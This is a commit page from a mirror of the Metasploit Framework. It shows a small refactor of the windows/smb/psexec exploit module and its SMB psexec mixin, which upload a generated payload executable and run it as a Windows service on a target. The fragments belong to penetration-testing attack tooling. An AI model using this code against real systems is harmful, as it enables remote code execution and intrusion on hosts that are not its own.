infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

rebase to use the mixin psexec

unstable
agix 2014-04-02 10:20:56 +02:00
parent d3f2414d09
commit 1a3b319262
2 changed files with 2 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
lib/msf/core/exploit/smb/psexec.rb
View File

@ -72,7 +72,6 @@ module Exploit::Remote::SMB::Psexec
end end
servicename = service_name || Rex::Text.rand_text_alpha(11) servicename = service_name || Rex::Text.rand_text_alpha(11)
displayname = display_name || Rex::Text.rand_text_alpha(16) displayname = display_name || Rex::Text.rand_text_alpha(16)
servicedescription = service_description || Rex::Text.rand_text_alpha(rand(32)+1)
svc_handle = nil svc_handle = nil
svc_status = nil svc_status = nil

7
modules/exploits/windows/smb/psexec.rb
View File

@ -155,7 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote
simple.disconnect("ADMIN$") simple.disconnect("ADMIN$")
else else
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
servicedescription = datastore['SERVICE_DESCRIPTION'] || rand_text_alpha(rand(32)+1) servicedescription = datastore['SERVICE_DESCRIPTION']
displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1) displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1)
# Upload the shellcode to a file # Upload the shellcode to a file
@ -179,9 +179,6 @@ class Metasploit3 < Msf::Exploit::Remote
end end
exe = '' exe = ''
opts = { :servicename => servicename } opts = { :servicename => servicename }
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts) exe = generate_payload_exe_service(opts)
fd << exe fd << exe
@ -205,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end end
psexec(file_location, false, servicedescription) psexec(file_location, false, servicedescription, servicename, displayname)
print_status("Deleting \\#{filename}...") print_status("Deleting \\#{filename}...")
sleep(1) sleep(1)